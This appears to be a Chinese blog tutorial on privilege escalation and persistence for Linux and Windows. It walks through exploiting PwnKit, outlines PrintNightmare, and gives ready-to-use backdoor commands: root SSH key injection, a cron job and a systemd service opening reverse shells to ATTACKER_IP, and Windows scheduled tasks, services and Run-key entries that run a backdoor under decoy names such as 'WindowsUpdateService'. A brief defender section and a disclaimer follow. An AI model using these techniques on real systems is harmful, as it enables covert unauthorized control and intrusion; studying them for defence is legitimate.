当前位置: 首页 > news >正文

2.8、权限的终极目标:提权与持久化

摘要:在攻防对抗中,获取初始访问权限往往只是开始。真正的挑战在于如何将有限的权限提升至最高(提权),并像“潜伏者”一样在目标系统中长期存在(持久化)。本文将深入探讨Linux/Windows的本地内核漏洞提权技术,并详解如何通过后门、计划任务、服务等手段实现持久化控制,同时从防御者视角提供检测与应对策略。


一、 提权:打开系统的“上帝模式”

提权,即权限提升,是指攻击者利用系统漏洞或配置缺陷,从普通用户权限提升至root或SYSTEM最高权限的过程。

1. Linux 内核漏洞提权实战

Linux提权常依赖于内核级漏洞。其基本流程是:信息收集 -> 寻找EXP -> 编译执行

  • 信息收集:首先,你需要了解目标系统。

# 查看系统版本信息

uname -a

# 查看发行版信息

cat /etc/issue

cat /etc/*-release

# 查看当前用户和权限

id

whoami

根据系统版本和内核版本,在 exploit-db.com 等平台搜索对应的漏洞利用代码(EXP)。

  • 经典漏洞举例:CVE-2021-4034 (PwnKit)
    这是一个在Polkit的pkexec组件中存在了长达12年的本地提权漏洞,影响范围极广。

利用步骤

    1. 在攻击机上下载公开的EXP代码,例如 pwnkit.c。
    2. 将EXP上传到目标机器。
    3. 在目标机上编译并执行。

gcc pwnkit.c -o pwnkit

./pwnkit

    1. 执行后,当前Shell将直接获得root权限。

2. Windows 内核漏洞提权实战

Windows提权思路类似,但更依赖成熟的提权辅助工具。

  • 信息收集是关键

# 查看系统信息

systeminfo

# 查看补丁列表

wmic qfe get Caption,Description,HotFixID,InstalledOn

将补丁列表与已知的提权漏洞库(如 Watson, Sherlock)进行对比,找出未修补的漏洞。

  • 使用PowerShell自动化工具:PEASS-ng
    WinPEAS 是一个强大的脚本,能自动识别系统中的各种提权弱点,包括漏洞、服务配置错误、凭证存储等。
  • 经典漏洞举例:CVE-2021-34527 (PrintNightmare)
    这是一个Windows打印后台处理程序中的远程代码执行漏洞,同样可用于本地提权。

利用步骤

    1. 使用公开的PowerShell利用脚本。
    2. 在具有普通权限的PowerShell中加载并执行脚本,指定恶意DLL的路径和回连地址。
    3. 成功后,将生成一个新的具有SYSTEM权限的会话。

二、 持久化:成为系统的“幽灵”

获得最高权限后,必须建立持久化,否则目标系统重启或权限被回收后,将前功尽弃。

1. Linux 持久化技术

  • SSH 后门:这是最隐蔽有效的方式之一。
    • 创建隐藏的SSH授权密钥

echo 'ssh-rsa AAAAB3NzaC... your_public_key' >> /root/.ssh/authorized_keys

    • 修改SSH配置,允许root登录

echo "PermitRootLogin yes" >> /etc/ssh/sshd_config

systemctl restart ssh

  • 计划任务(Cron Jobs)

# 编辑root用户的计划任务

crontab -e

# 添加一行,例如每小时的01分反向连接到一个IP

# 1 * * * * /bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

  • 系统服务(Systemd Service)
    创建一个恶意服务文件(如/etc/systemd/system/backdoor.service):

[Unit]

Description=A harmless looking service

[Service]

Type=simple

ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1'

Restart=always

RestartSec=3

[Install]

WantedBy=multi-user.target

然后启动并启用它:

systemctl enable backdoor.service

systemctl start backdoor.service

2. Windows 持久化技术

  • 计划任务(Task Scheduler)
    使用schtasks命令创建一个计划任务,定期执行payload。

schtasks /create /tn "WindowsUpdateService" /tr "C:\malware\backdoor.exe" /sc hourly /ru SYSTEM /f

  • Windows 服务
    使用sc命令创建一个服务。

sc create "FakeSensorService" binPath= "C:\malware\backdoor.exe" start= auto

sc start FakeSensorService

  • 注册表启动项
    将后门路径写入运行键,实现开机自启。

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /t REG_SZ /d "C:\malware\backdoor.exe" /f

  • “映像劫持”(IFEO)
    可以劫持一个系统常用程序(如sethc.exe-粘滞键),在用户触发时同时运行后门,常用于权限维持。

三、 防御者视角:如何检测与防护

攻击技术的另一面,就是防御的要点。

  • 提权防护
    1. 及时更新:严格遵循补丁管理策略,及时安装安全更新。
    2. 最小权限原则:为应用程序和用户分配所需的最小权限,避免使用高权限账户运行常规程序。
    3. 系统强化:禁用不必要的服务和功能,使用安全基线进行配置。
  • 持久化检测
    1. 监控计划任务与服务:定期审计系统上的计划任务、服务列表和启动项,关注异常项。
    2. 文件完整性监控:监控系统关键目录(如System32、启动目录)的文件变化。
    3. 网络流量分析:检测是否存在未知的、定时的外联连接。
    4. 日志分析:集中收集和分析系统日志、安全日志、PowerShell日志,寻找攻击痕迹。

结语

提权与持久化是渗透测试中承上启下的关键环节,理解这些技术背后的原理,不仅能让我们在红队行动中游刃有余,更能从根本上帮助蓝队构建更坚固的防御体系。

安全是一个持续对抗的过程,知攻方能善防。

(本文仅用于技术研究与防御教学,请勿用于非法用途。)

http://www.dtcms.com/a/494655.html

相关文章:

  • 模式识别与机器学习课程笔记(11):深度学习
  • 网站流量站怎么做WordPress的登录页面
  • leetcode 191. 位1的个数 python
  • 河北住房与城乡建设部网站北京做网站企业
  • WordPress网站转APP插件家具设计
  • docker 学习dockerfile 构建 Nginx 镜像-部署 nginx 静态网
  • Prompt Engineering 核心知识:从基础模式到思维链,掌握大模型高效交互秘籍
  • Android中加载unity aar包实现方案
  • auxiliary英文单词学习
  • Elasticsearch:创建一个定制的 DeepSeek 嵌入推理端点
  • “自然搞懂”深度学习系列(基于Pytorch架构)——01初入茅庐
  • 51c~Pytorch~合集6
  • Java 对接印度股票数据源实现 http+ws实时数据
  • 建设网站分析报告陕西四通建设工程有限责任公司网站
  • 微信网站建设app公司WordPress邮箱注册慢
  • 【Qt】元对象系统:从实际开发中看QML/C++交互原理
  • 【MySQL】从零开始了解数据库开发 --- 数据表的索引
  • 设计模式篇之 策略模式 Strategy
  • 【HarmonyOS】并发线程间的通信
  • 2三、buildroot
  • 开源 C++ QT QML 开发(二十二)多媒体--ffmpeg编码和录像
  • 详细分析平衡树--红黑树(万字长文/图文详解)
  • 国产开源代码管理工具 GitPuk 安装+入门全流程解析
  • wordpress本地视频教程免费网站seo优化
  • 前端布局入门:flex、grid 及其他常用布局
  • Excel中将毫秒时间戳转换为标准时间格式
  • 传奇网站模板免费下载建立网站需要多少钱费用
  • 第2讲:Go内存管理机制深度解析
  • 【解决】mayfly-go 容器启动失败 —— failed to connect to mysql!
  • 基于STM32低功耗授时系统的硬件电路设计-上